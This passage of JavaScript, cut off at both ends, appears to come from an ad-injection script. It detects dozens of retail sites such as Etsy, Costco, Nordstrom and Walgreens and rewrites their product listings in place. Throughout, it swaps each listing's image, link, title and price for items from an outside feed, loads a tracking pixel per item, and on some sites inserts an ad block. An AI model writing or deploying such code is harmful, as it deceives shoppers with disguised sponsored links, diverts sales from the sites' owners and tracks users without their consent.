jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.vip').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.prc > .g-b').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('div.offers').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('img.img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.vip').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.amt > span').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "etsy")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('li.listing-card').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
if(price.charAt(0) == "$")
price = price.substr(1);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.listing-thumb > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.currency-value').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "newegg")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.itemCell').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.itemImage > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.itemDescription').html(obj.items[gc].title);
jQuery(this).find('.featureList').html(""+desc+"");
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "shopathome")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.offers > .offer').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.couponImageLeft > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.couponTypeHeader').html(obj.items[gc].displayUrl);
jQuery(this).find('.offerBin > div:eq(1) > strong > a').html(obj.items[gc].title);
jQuery(this).find('.right > a').html("View All "+obj.items[gc].displayUrl+" Coupons");
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('.contentslider-wrapper > .contentslider-item').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.offer').prepend('');
jQuery(this).find('.couponImage > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.groceryBrandName').html(""+obj.items[gc].displayUrl+"");
jQuery(this).find('.couponDesc > p > span').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "slickdeals")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#results_table >tbody > tr.thread').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.attachment > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('a.title > strong').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "costco")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.product-tile').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.product-image').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.short-desc').html(obj.items[gc].title);
jQuery(this).find('.description').html(desc);
if(price != '')
jQuery(this).find('.currency > span:first').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "nextag")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#srrowsContainer > table').each(function(){
var n = 0;
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('#opILink_'+n+' > div > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('#opTitleLink_'+n).html(obj.items[gc].title);
jQuery(this).find('.smallText').html(desc);
jQuery(this).find('.fs').html(obj.items[gc].displayUrl);
if(price != '')
jQuery(this).find('a.price-link').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
n++;
});
}
else if(pageEntity == "kohls")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#product-matrix > li.product').each(function(){
var n = 0;
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.product-image').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.product-info > h2 > a').html(obj.items[gc].title);
if(price != '')
{
if(jQuery(this).find('.sale_add').length > 0)
jQuery(this).find('.sale_add').html('Sale '+price);
if(jQuery(this).find('.price-original').length > 0)
jQuery(this).find('.price-original').html('Regular '+price);
}
(new Image()).src = obj.items[gc].pixel;
gc++;
}
n++;
});
}
else if(pageEntity == "pricegrabber")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#product_results > .product_item').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.prd_img > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title_link').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.ctaPrice > a').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "buycheapr")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('ul.product-list > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.prod-img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.name > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "alibaba")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#J-items-content > div.ls-item').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.img-thumb > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "nordstrom")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.fashion-results > div > div[id^="fashion_"]').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.fashion-photo > div > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "officedepot")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#productView > div.block > div.product_block').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
if(price.indexOf(".") != -1)
{
priceEx = price.split(".");
bigPrice = priceEx[0];
smallPrice = priceEx[1];
if(bigPrice.charAt(0) == "$")
bigPrice = bigPrice.substr(1);
}
jQuery(this).find('.photo > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.descriptionShort').html(obj.items[gc].title);
if(price != '')
{
jQuery(this).find('.price_amount > span:eq(1)').html(bigPrice);
jQuery(this).find('.priceSup.decPrice').html(smallPrice);
}
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "forever21")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.ResultsList > table > tbody > tr > td').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.ProductImage').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.RecordDescription').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.ProductPrice').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "qvc")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.divBorder > div.divProduct').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('img.photo').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.description > a.prodDetailLink').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "gifts")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#srpProd > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.prodCont > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.prodName > a').html(obj.items[gc].title);
if(price != '')
{
if(price.charAt(0) == "$")
price = price.substr(1);
jQuery(this).find('.priceField > a').html(price+" at "+obj.items[gc].displayUrl);
}
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "drugstore")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('div[id^="gridView"]').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.prodImg > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.oesLink').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.PlistPrice').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "gamestop")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.products > .product').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.grid_2.alpha > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.product_info > h3 > a').html(obj.items[gc].title);
jQuery(this).find('.product_info > p:first').html("by "+obj.items[gc].displayUrl);
if(price != '')
jQuery(this).find('.pricing').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "barnesandnoble")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('ol.result-set > li.result').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('img.product-image').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.contributor').html(obj.items[gc].displayUrl);
if(price != '')
jQuery(this).find('.price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "zappos")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#searchResults > a.product').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('img').attr('src', obj.items[gc].image);
jQuery(this).attr('href', obj.items[gc].url);
jQuery(this).find('.productName').html(obj.items[gc].title);
jQuery(this).find('.brandName').html(obj.items[gc].displayUrl);
if(price != '')
jQuery(this).find('.price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "walgreens")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#rowMain > div > .product-container').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.image-container > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.product-name > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.Rprice').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "dell")
jQuery('#content').prepend(jQuery(hAdHTML));
else if(pageEntity == "cvs")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.productResultsGrid > .productRow').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.resultImgLi > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.blockimg1').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.productPrice').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "bizrate")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.results > table.result').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.image > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').html(obj.items[gc].title);
jQuery(this).find('.description > a').html(desc);
if(price != '')
jQuery(this).find('.price > a').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "nike")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.product-wall > .grid-item').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.gridwall-image-wrapper > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.product-name > p:eq(0)').html(obj.items[gc].title);
jQuery(this).find('.product-name > p:eq(1)').html(obj.items[gc].displayUrl);
if(price != '')
jQuery(this).find('.prices > .local').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "wayfair")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.productbox.large_images').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('a.large_images > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.prodname').html(''+obj.items[gc].displayUrl+'
'+obj.items[gc].title);
if(price != '')
jQuery(this).find('.price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "evite")
jQuery('#carousel').prepend(jQuery(hAdHTML));
else if(pageEntity == "samsclub")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('ul.shelfItems > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.shelfProdImg').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.prodTitle > h4 > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.onlinePrice').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "zazzle")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
var n=0;
jQuery('div[id^="page_productsSearch_collection_cell"]').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('#page_productsSearch_collection_cell'+n+'-preview').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('#page_productsSearch_collection_cell'+n+'-titleLink').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('#page_productsSearch_collection_cell'+n+'-price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
n++;
});
}
else if(pageEntity == "victoriassecret")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#features > ul > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.ftr').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('hgroup > h2').html(obj.items[gc].displayUrl);
jQuery(this).find('hgroup > h3').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('aside > p:first').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "dickssportinggoods")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#productLoopUL > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.regImage').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.prodtitle > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.ourPrice2 > p').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "vistaprint")
jQuery('#divPageContentOuter').prepend(jQuery(hAdHTML));
else if(pageEntity == "cafepress")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.grid-wrapper > .grid-unit').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.productImage').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.grid-title > a').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "ae")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#facetResults > .sProd').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.image > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.name').html(obj.items[gc].title);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "hsn")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#template-product-grid > .item.product-item').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.image > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.info > h3 > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "footlocker")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#endeca_search_results > ul > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.quickViewButtonWrap > a:eq(1)').html('
'+obj.items[gc].title);
jQuery(this).find('a').attr('href', obj.items[gc].url);
if(price != '')
jQuery(this).find('.product_price > b').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "thefind")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('ul.tf_search_itemlist > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.tf_search_item_productimage').attr('href', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.tf_search_item_title_popup').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.tf_search_item_price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "lenovo")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#Results').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
